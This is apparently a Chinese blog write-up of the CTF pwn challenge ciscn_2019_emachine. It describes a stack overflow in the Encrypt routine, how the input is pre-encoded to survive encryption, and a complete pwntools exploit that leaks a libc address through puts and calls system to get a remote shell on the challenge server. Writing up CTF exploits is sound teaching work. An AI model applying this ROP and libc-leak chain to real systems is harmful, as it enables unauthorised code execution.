ciscn_2019_emachine

说起来这题算是国赛过程中自己做的唯一一题2333,tcl

程序功能

1
2
1.Encrypt
2.Decrypt

其实只有一个功能Encrypt,Decrypt需要自己手动操作。

程序漏洞

Encrypt中存在栈溢出

漏洞利用

Encrypt会对输入进行加密,所以要让输入被加密后构成有效的ROP。

之前被加密过位置的就不会再被加密。例如第一次输入了a,加密后变成l,第二次输入aa,就只有第二个a会被加密,加密后变成al。

main函数地址为0x400b28,若输入为0x4e0b28,加密后恰好能变成main函数地址。用这个输入多填充几个地址,确保之后构造ROP时不会被加密。

比赛时没给libc,但差别不大,这次就按有libc来做了。

EXP

1
#coding=UTF-8
from pwn import *
sh=remote("buuoj.cn",20115)
#sh=process('/media/psf/Home/Desktop/Challenges/BUUpwn/ciscn_2019_c_1.dms',env={"LD_PRELOAD":'./x64_libc.so.6'})
elf=ELF('/media/psf/Home/Desktop/Challenges/BUUpwn/ciscn_2019_c_1.dms')
libc=ELF('./x64_libc.so.6')
def send(content):
	sh.recvuntil("Input your choice!\n")
	sh.sendline("1")
	sh.recvuntil("Input your Plaintext to be encrypted\n")
	sh.sendline(content)
main=0x400B28
main_enc=0x4e0b28
pop_rdi=0x400c83
send('a'*0x58+p64(main_enc)*10)
send('a'*0x58+p64(pop_rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(main))
sh.recvuntil('@\n')
leak=u64(sh.recv(6).ljust(8,'\x00'))
libc_base=leak-libc.sym['puts']
log.success("libcbase: "+hex(libc_base))
send('a'*0x58+p64(pop_rdi)+p64(libc_base+0x18cd57)+p64(libc_base+libc.sym['system']))
sh.interactive()
文章目录
  1. 1. 程序功能
  2. 2. 程序漏洞
  3. 3. 漏洞利用
  4. 4. EXP
|